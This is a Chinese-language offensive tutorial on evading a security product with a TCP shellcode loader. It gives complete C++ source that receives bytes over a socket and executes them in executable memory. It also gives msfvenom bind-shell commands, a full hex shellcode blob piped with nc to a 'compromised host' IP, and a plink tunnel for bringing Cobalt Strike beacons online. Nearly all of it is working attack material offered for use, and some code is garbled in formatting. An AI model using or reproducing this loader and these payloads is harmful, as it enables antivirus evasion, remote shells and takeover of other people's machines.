基于TCP正向端口来bypass 某数字软件

源码:

//#include "pch.h"#include<WinSock2.h>#include<WS2tcpip.h>#include<iostream>#include<windows.h>#pragmacomment(lib, "ws2_32.lib")
int main(intargc, char* argv[]){   LPWSADATAwsaData = newWSAData();   ADDRINFOA*socketHint = newADDRINFOA();   ADDRINFOA*addressInfo = newADDRINFOA();   SOCKETlistenSocket = INVALID_SOCKET;   SOCKETclientSocket = INVALID_SOCKET;   CHARbufferReceivedBytes[4096] = { 0 };   INTreceivedBytes = 0;   PCSTR port= argv[1];
if (argv[1] == 0) {std::cout <<"tcpshell.exe 443"<< std::endl;return 0;  }

   socketHint->ai_family = AF_INET;   socketHint->ai_socktype = SOCK_STREAM;   socketHint->ai_protocol = IPPROTO_TCP;   socketHint->ai_flags = AI_PASSIVE;
   WSAStartup(MAKEWORD(2,2), wsaData);   GetAddrInfoA(NULL, port, socketHint,&addressInfo);
   listenSocket = socket(addressInfo->ai_family,addressInfo->ai_socktype, addressInfo->ai_protocol);   bind(listenSocket, addressInfo->ai_addr, addressInfo->ai_addrlen);   listen(listenSocket, SOMAXCONN);std::cout <<"Listening on TCP port "<< port << std::endl;
   clientSocket = accept(listenSocket, NULL, NULL);std::cout <<"Incoming connection..."<< std::endl;
   receivedBytes = recv(clientSocket, bufferReceivedBytes, sizeof(bufferReceivedBytes),NULL);if(receivedBytes > 0) {std::cout <<"Received bytes "<< receivedBytes << std::endl;   }
   LPVOIDShellcode = VirtualAlloc(NULL, receivedBytes, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);std::cout <<"Allocated memory for  at: "<< shellcode << std::endl;
memcpy(shellcode, bufferReceivedBytes, sizeof(bufferReceivedBytes));std::cout <<"Copied shellcode to: "<< shellcode << std::endl <<"Sending back Session...";   ((void(*)())shellcode)();
return 0;}

编译好使用方法:

输入你监听的端口即可

由于是正向的利用比较麻烦，这里写两个利用的方法

1. Msf生成正向shell利用

msfvenom -pWindows/shell_bind_tcp LHOST=0.0.0.0 LPORT=1246 -f  c > /tmp/bind_shell.c

生成一个正向端口1246的shellcode.

然后向肉鸡发送shellcode。

处理一下

echo -e "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x04\xde\x00\x00\x00\x00\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\xc2\xdb\x37\x67\xff\xd5\x48\x31\xd2\x48\x89\xf9\x41\xba\xb7\xe9\x38\xff\xff\xd5\x4d\x31\xc0\x48\x31\xd2\x48\x89\xf9\x41\xba\x74\xec\x3b\xe1\xff\xd5\x48\x89\xf9\x48\x89\xc7\x41\xba\x75\x6e\x4d\x61\xff\xd5\x48\x81\xc4\xa0\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5" | nc 172.16.3.145 444

或者是更加简单的方法：

msfvenom -pWindows/shell_bind_tcp LHOST=0.0.0.0 LPORT=1246 -f  raw > /tmp/bind_shell.bin

因为这里我使用的是x86平台编译出来的，shellcode或者bin文件也得是x86的

catbind_shell.bin | nc 172.16.3.145 444

连接1246端口即可返回cmd。

2. 利用plink转发端口配合Cs上线（反向）

echo y| plink -N -R 0.0.0.0:9987:127.0.0.1:446 testssh@马.赛.克.252 -P 22 -pw 马赛克

转发出来后生成cs bin文件

向转反出来的端口发送shellcode

上线

参考链接：

https://www.ired.team/offensive-security/defense-evasion/bypassing-windows-defender-one-tcp-socket-away-from-Meterpreter-and-Cobalt-strike-beacon